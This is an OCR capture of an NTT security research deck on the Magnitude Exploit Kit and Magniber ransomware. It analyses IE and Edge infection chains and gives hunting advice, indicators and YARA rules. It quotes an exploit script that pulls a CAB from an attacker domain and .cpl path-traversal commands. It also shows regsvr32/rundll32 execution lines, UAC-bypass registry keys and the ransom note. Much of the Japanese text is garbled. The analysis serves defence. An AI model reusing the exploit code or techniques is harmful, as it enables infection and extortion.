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Motivation & Goal ©) NTT
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Magnitude Exploit Kit O)NTT

« 2012FEMNLEAIESN TLISEXploit Kit
I 7F 9 BExploit Kitd FTlEwREE LY
* Region-Specific
HT7OT7DE-HIgDOAHEZEHELTLNS JFIZEE)
BATIEINETIEEAERA SN TIENof=HS, 2021 F10AEMS AL
o« IUBVLIITERTILHIENEM
Magniber&EFEIENAMB DS Y LT
« WATLERIZTYITT—IMTHhNI TS
LW SEMZEEMICER

© 2022 NTT All Rights Reserved



Major Update in 2021 ©) NTT
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Components @NTT

1. Magnigate
- HBTEOEHEHET-9Z&ETLlLanding Page~N) S (LY +F BWebR—
»  FEITA—FOHMBHERELUVU TV ERABBREFIVY

2. Landing Page
«  Exploit Code’GEHED - DA—FZFHARAL

3. Exploit Code
fesstEZEAL . Magnibera 4 > O0—K-£47

4. Magniber
AVOFILDSoY LT
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Case 1: Microsoft Internet Explorer ©) NTT

Host URL Body Comments
0 [#1] Magnigate
6,197 [#2] Magnitude Exploit Kit (Landing Page)
30,775 [#3] Magnitude Exploit Kit (Exploit Code)
39,514 [#4] CAB File (CVE-2021-40444)

# Method Result Protocol

&1 GET 302 HTTP pribin.info /
54af70bo32ifaz.popsun.fun /

3e0e1fulS6eds.anpoem.quest /
E4 GET 200 HTTP 3e061fulSeeds.anpoem.quest /JUdS60.cab
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Case 1: Analysis: Exploit Code O)NTT

var 15R49ZzvM2ECeY = document['createElement']( 'object’);

15R49ZzvM2ECeY]| 'setAttribute' ]("http://3eB61ful56e4ds.anpoem.quest/IUd966.cab");
15R49ZzvM2ECeY[ 'setAttribute’ ]('CLSID:edbc374c-5730-432a-b5b8-de94f0b57217");
document|[ ‘documentElement’ ][ ‘appendChild’ ](15R49ZzvM2ECeY);

function 1JE6IKM3uS46TKL() {
var jVv596h13bQKn3a8 = document[ ‘createElement']('iframe’);
document[ 'documentElement’ ][ 'appendChild’ ](jV590h1JbQKn3a8);
jv590h13IbQKn3a8[ 'src'] = ".cpl:../../../AppData/../AppData/Local/Temp/Low/kxoirr

var ihO73EgW16P = document[ 'createElement’]('iframe’);
document[ ‘documentElement’ ][ 'appendChild’ ] (ihO73EgW16P) ;
ih073EgW16P[ ‘src'] = '.cpl:../../../AppData/../AppData/Local/Temp/kxoirr.inf";
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Case 2: Microsoft Edge O)NTT

£ Method Result  Protocol Host LURL Body Comments

41 GET 302  HTIP gapends.space  [device_type={device_type}&src={lang} 5 [#1] Magnigate

k2 GET 200 HTTP Addafdefmfv.updates. hidbyte.space 153,980 [#2] Maanitude Exploit Kit (Sodal Engineering)
El 3 GET 200 HTTP hidbyte.space  fedge_update.appx 265,450 [#3] AppX file (CVE-2021-43590)

= 4 GET 200 HTTP hidbyte.space  fa7uldSefhsb0 34,552 [#4] Encoded Maaniber

© 2022 NTT All Rights Reserved




Case 2: Social Engineering O)NTT

m]

+

[ Edge requires a manual update X

< )

A SHESIR| 22 | 9ddafdefmfv.updateshidbyte.space

9ddafdefmfv.updates.hidbyte space®| HAIX] M e ft
It is recommended that you update your browser to the latest version I c ro S 0

to view this page.

Please update and run to continue.

Edge requires a manual update

Update edge
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Case 2: AppX File @NTT

AppX (Windows Application Package)
« AppManifest.xmliZ&->T. RiBENT-exeT7A ILEEST

Applications
Application Id="App" Executable="agczziv\agczziv.exe" EntryPoint="Windows.FullTrustApplication"
uap:VisualElements DisplayName="Edge Update" Description="Edge Update"
BackgroundColor="transparent” Squarel5ex156Logo="Images\Squarel50x150Logo.png"
Squared44x44Logo="Images\Square44x44Logo.png"
uap:DefaultTile Wide31@x15e@Logo="Images\Wide31@x150Logo.png"

Square7ilx71lLogo="Images\SmallTile.png" Square31lex31@Logo="Images\LargeTile.png"
uap:DefaultTile
uap:SplashScreen Image="Images\SplashScreen.png"
uap:LockScreen BadgelLogo="Images\BadgelLogo.png" Notification="badgeAndTileText"
uap:VisualElements
Application
Applications
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Case 2: CVE-2021-43890 O)NTT

™ edge_update.appx®70/{7¢

e TYINVEE wxUFc M LEof-vay

Microsoft N FEITLI=EESNT=7IUDLIIZRZ S -
o ;ﬁ 3":)] 7:-; 7—_://5, JL % % :E) H- I_:.—_ -a: *L'C RV ;szfé;;;umag e s i AT ]

Edge Update Z1Y AR—JLLETA?
Edessntr

1T Microsoft Inc

J\—3433: 96.0.1072.0

#E(D)
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Magniber

Magnitude Exploit KitlZ &> TE#RMIZRERET HIH LT
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« v T > PC > FFIAUE
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FF2AR D 2021 pptxznjopfayy
= EoF D documents.znjopfayy
EFs =] readme.txt

D summary.znjopfagyy
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v O | FRIAVOER
v EE

ZNJOPFQYY J7A )l
ZNJOPFQYY J7A )l
TEAR FFIAVE

ZNJOPFQYY 771l
ZNJOPFQYY J7A1 )l

- [m) X
J7F) WEE) FRO) FRV) ALIH)
ALL YOUR DOCUMENTS PHOTCS DATABASES AND OTHER IMPORTANT FILES HAYE BEEN ENCRYPTED! ~

Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.

Any attempts to restore vour files with the third party software will be fatal for your files!

To receive the private key and decryption program fallow the instructions below:
1. Download “Tor Browser” from https://wan.torproject.ora/ and install it.

2. In the "Tor Browser” open your personal page here:

http://n

AREE]

Mote! This page is available via “Tor Browser” only.

zoonion/s

Also you can use temporary addresses on your personal page without using “Tor Browser”:

http://asl
http:/ /sl 162
http:// 2w
http://a=l-16]

Note! These are temporary addresses! They will be available for a limited amount of time!




Case 1: Attack Flow ©) NTT

kxoirr.inf Shellcode Magniber

L

xor decode & *
execute

inject code *
to local process
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Case 1: Features O)NTT

kxoirr.inf
« EHEDOmpinHEFAL-E#REIL

Shellcode

« XORZHAH B HET-AE TMagniberk{k%ETa—F

. RPimRd IOt XIZMagniberR{EDI—KEA2 T3y
 system callZF|FAL-APIFEUH L

© 2022 NTT All Rights Reserved



Case 1: Features O)NTT

Magnibera{&

* AESERSAZRAWVWTIFZAILZERESIE

o MERFEEEICLI-EEILTETI7MILDELESMT
« VolumeShadowCopy® &
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Case 2: Attack Flow ©) NTT

C&C Server

download

APPX EXE DLL Shellcode Magniber

[
»

[
»

[

xor decode &
execute

call export xor decode &
function execute

execute
contained file
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Case 2. Updates @NTT

« Magniber&{&ZC&CH—/N—MSAHO0—KFEARKIZEL
e A nN—FEEITTADLLEFMFEUETEXEIX.NETZHAWTEESINTIVS

. BREBEROTOERITAL DI AT HNE ISR

DLLZFEUH 9 a—F
private static void Main(string[] args)
-1
uint lpBuffer = 6074u;
hfeljbjifl(1pBuffer);
}

using System.Runtime.InteropServices;

[D11Import("agczziv.dll")]
private static extern void hfeljbjifl(uint lpBuffer);
I
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Case 2: Updates @NTT

. %ﬁﬁ{’ﬂﬂz&( WELTEWI7AMILEBS{ERG RN LR

74 )L DLastAccessTime, LastWritenDate, LastCreationDateZ jo|ZH| ¥
s TERFERALTWAI7MILDESIEERBETL-ODEEZLND

EEEXREDI7AILEFHET SI—F

if ( lpFileInformation.ftlLastAccessTime.dwlowDateTime ==
lpFileInformation.ftLastWriteTime.dwlowDateTime )// ?

if ( IpFileInformation.ftlastAccessTime.dwlowDateTime ==
IpFileInformation.ftCreationTime.dwlowDateTime )// ?
return 8i64;

else if ( lpFileInformation.ftlastAccessTime.dwHighDateTime ==
lpFileInformation.ftlLastWriteTime.dwHighDateTime
&& lpFileInformation.ftlastAccessTime.dwHighDateTime ==
lpFileInformation.ftCreationTime.dwHighDateTime )// ?
{
return @i64;
}
}

return 1i64;
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Case 3 (2022/1/19-): Updates O)NTT

o C&CH—/N\—mBAHrO0—r350EDH|R
« Magniber& AN Fa—FNELIEILMTHNALD

e Windows10L BT D/ N\— 3 FEEL-a0—F DHIR
syscallZF|FAL=APIFEUH L
VolumeShadowCopy® Al k&

APPX Magniber
* decode & '*
execute

© 2022 NTT All Rights Reserved




Magniber Updates Summary ©) NTT

RELGHRETHIBRT 27T T—h

« TORRAxa0ETHI—FDHEI

« MagniberR{xZA oo O0—RF4 50—~ DHIE

« Magniber&AZ#Ta—FF3EEHLIEDH

« Windows10URID/N\— 3 #EHL-0—FDHIk
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Research: Magnigate ©) NTT

Magnigate | ZFHEFB/I-SHE W T IELADGEFI—R—UFRT

« AI—R=IFRBEZEIELAEL
« 533f687471b2eb49aabhb9efbaacel09e8c676ch51043f1fded5ch159ae98f6bb

L 3 & minANCE T @
P N, SR 0%
, SEATRADING (1]

-~

peaalll FEES

over
when you buy with
t. %ﬂ:é W!S o ’ Visa or MasterCard
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Hunting: Network ©) NTT

S0 DIEHTTPD &

- URL
« [©-9a-z](3,6).cab

« "edge"®"chrome"ZEELILIEF "appx" DI 7AIL

> edge_update.appx. upgrade_edge.appx. Upgrade_Edge 98.0.1000.0.zip
>  chrome_update.appx. upgrade_chrome.appx. Upgrade_Chrome_98.0.1000.0.zip

* [0-9a-z](8,14).windows.store.{Domain}.{gTLD}

« HTML

e <title>Edge requires a manual update</title>

 <html><body onload="[0-9a-z](8,15)()"><script
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Hunting: Endpoint ©) NTT

CVE-2021-40444% EFALI-15E

« iexplore.exeH%temp%Et FIZinf77 A ILEVERL
« /AppData/Local/Temp/Low/XXXXXXX.1inf

- control.exeh\%temp% LA FIZ&H HinfI7 4 ILEEIT
e control.exe ".cpl:../../../AppData/../AppData/Local/Temp/Low/XXXXxXXX.inf"

« control.exeMbHE Z f-rundli32.exetL B4R DB TEIT

rundl132.exe Shell32.d1l1l,Control_RunDLL
".cpl:../../../AppData/../AppData/Local/Temp/Low/XXXXXXX.1inf"
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Hunting: Endpoint ©) NTT

V=X IVDZT DT DIEE

o TSI HIZKBAPPXT7AILDIERK
« "edge"®"chrome"ZEELILEF "appx"DIF7AIL
o I7AIVRILBAEMGNWTELRET S

« AppXT7AILDICE]
Program Files¥WindowsApps A TFIZ&HHAppInstaller.exe

o AppXTT7AILHBA O O—F DS
svchost.exe > sihost.exe > [TUF LEF].exe
» AU O—FDEXET7AILELUDLLI7AILIEProgram Files¥WindowsAppsEe FIZHETE
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Hunting: Endpoint ©) NTT

MagniberdD Z &% F L - 1R 41

- BEBIETFAILIER
« MagniberD&{KIZK>THEBILED T 7 IILILRFIEHRA
» Sample.docx > Sample.docx.[FU& LEEF]

« BHEOTALIMIEETAS, PUBLIC%IZS> Y L /—k(readme.txt) DYERL

« VolumeShadowCopyDHIBRICFIAT 2R TFDIER
>y %PUBLIC%¥readme.txt
> %PUBLIC%¥readmel.txt
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Hunting: Endpoint ©) NTT

MagniberdD Z &% F L - 1R 41
o LURMN)F—LIEDERK

> Winl@:HKCU¥Software¥Classes¥ms-settings¥shell¥open¥command

» Winl1OLL4} :HKCU¥Software¥Classes¥mscfile¥shell¥open¥command
» regsvr32.exe scrobj.dll /s /u /n /i:C:¥Users¥Public¥readme.txt
» regsvr32.exe scrobj.dll /s /u /n /i:C:¥Users¥Public¥readmel.txt
» DelegateExecute(WinleMifFH)
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Wrap-Up ©) NTT

Magnitude Exploit KitD xEFEEDHH
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Appendix-1: 1oC @NTT

Magniber
« HUTILTFAILINYa
« CAB7Z7AIL
) 58ec@f69adl7a5e7dad615f8f9b306a0d098249e0+835a41988cfcbed9438dbo
e INFZ7AIL

>  63271aa9c1f4854e3c362e7ad23ba26c60a90127322518244023e91dc0a69eb
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Appendix-1: 1oC O NTT

Magniber

O ~
o HUTI)ILTFAILINY 2
« O—4(NET7t>IV)
> 6fbb07a65f69fba0821eb3c60708f0al8478acbf7a6466c5738c0208908264F1

»  d2318cf487203d909993fd9fed787855af03ef7b6343f5fad92cac7e42f507ef
»  758c730bd5ce13395261c87654b9f502661e70dd15f474c05fab3da97165da37

« AHoO—4(DLL77AIL)

> bae28fb8c01c5b544400cc920f16e84546fdd255427ef8ee5961384afc843658
> 730e9aaf852653ee296d8fla5ec6eded250acf90dbfdleb56a107bc3ale2e5d7

« FAY/N—(DLLZ7AIL)
>  41244ba3a23d41c195451e25a81658099e87b0e8b03987f37eale9al5832498b
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Appendix-1: 1oC O NTT

Magniber

¢ SUHLR—Y
« *_shepain[.]quest * * weruns[.]quest
« *.putout[.]space « * ohroot[.]icu
« *,ofideas[.]Juno « *.,allrids[.]art
« *.megrow[.]site * *.madsell[.]cyou

* *.ranmuch][.]space
« *_ gaplies[.]fit
« *_,gunfail[.]quest

« *_raredoe[.]Juno
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Appendix-2: Detection Rule O)NTT

import "pe“

rule Magniber_T1

{
strings:
$hex_1 = {48 FF C6 (EB | E9)}
$hex_2 = {48 FF C7 (EB | E9)}
$hex_3 = {48 FF C2 (EB | E9)}
$hex_4 = {48 33 DB (EB | E9)}
$hex 5 = {oF @5 (EB | E9)}
condition:
pe.is _pe and filesize <= 110KB and all of ($hex_*)
}
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Appendix-2: Detection Rule O)NTT

rule Magniber_T2

{
strings:
$str_1 = "OUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!" wide
$str_2 = "Your files are NOT damaged! Your files are modified only. This modification is reversible." wide
condition:
all of ($str_*)
}

© 2022 NTT All Rights Reserved



Appendix-2: Detection Rule O)NTT

rule Magniber_T3

{
strings:
$hex 1 = {8D 41 A@ 69 CO 6B F2 DA 00 03 D8}
$hex_2 = {8D 41 A@ 69 CO F1 1B 08 00 03 d8}
$hex_3 = {8D 41 A@ 69 CO E3 4C 00 00 03 D8}
$hex 4 = {8D 41 AQ 69 C0 D9 02 00 00 03 D8}
$hex 5 = {8D 41 A@ 6B CO 1B 03 D8}
$hex 6 = {83 C3 A@ @3 D9}
condition:
all of ($hex_*)
}
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